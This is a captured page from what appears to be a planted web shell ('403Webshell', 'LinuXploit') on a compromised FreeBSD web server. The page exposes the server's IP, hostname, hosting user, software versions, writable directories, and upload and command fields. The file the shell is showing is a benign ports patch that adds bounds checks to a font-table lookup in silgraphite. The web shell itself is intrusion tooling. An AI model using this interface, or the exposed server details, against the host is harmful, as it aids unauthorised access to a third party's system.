403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.167
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/silgraphite/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/silgraphite/files/patch-engine-src-font-TtfUtil.cpp
--- engine/src/font/TtfUtil.cpp.orig	2009-01-29 08:33:19 UTC
+++ engine/src/font/TtfUtil.cpp
@@ -1106,7 +1106,7 @@ size_t LocaLookup(gr::gid16 nGlyphId, 
 	// CheckTable verifies the index_to_loc_format is valid
 	if (read(pTable->index_to_loc_format) == Sfnt::FontHeader::ShortIndexLocFormat)
 	{ // loca entries are two bytes and have been divided by two
-		if (nGlyphId <= (lLocaSize >> 1) - 1) // allow sentinel value to be accessed
+		if (lLocaSize >= 2 && nGlyphId <= (lLocaSize >> 1) - 1) // allow sentinel value to be accessed
 		{
 			const uint16 * pTable = reinterpret_cast<const uint16 *>(pLoca);
 			return (read(pTable[nGlyphId]) << 1);
@@ -1115,7 +1115,7 @@ size_t LocaLookup(gr::gid16 nGlyphId, 
 	
 	if (read(pTable->index_to_loc_format) == Sfnt::FontHeader::LongIndexLocFormat)
 	{ // loca entries are four bytes
-		if (nGlyphId <= (lLocaSize >> 2) - 1)
+		if (lLocaSize >= 4 && nGlyphId <= (lLocaSize >> 2) - 1)
 		{
 			const uint32 * pTable = reinterpret_cast<const uint32 *>(pLoca);
 			return read(pTable[nGlyphId]);

Youez - 2016 - github.com/yon3zu
LinuXploit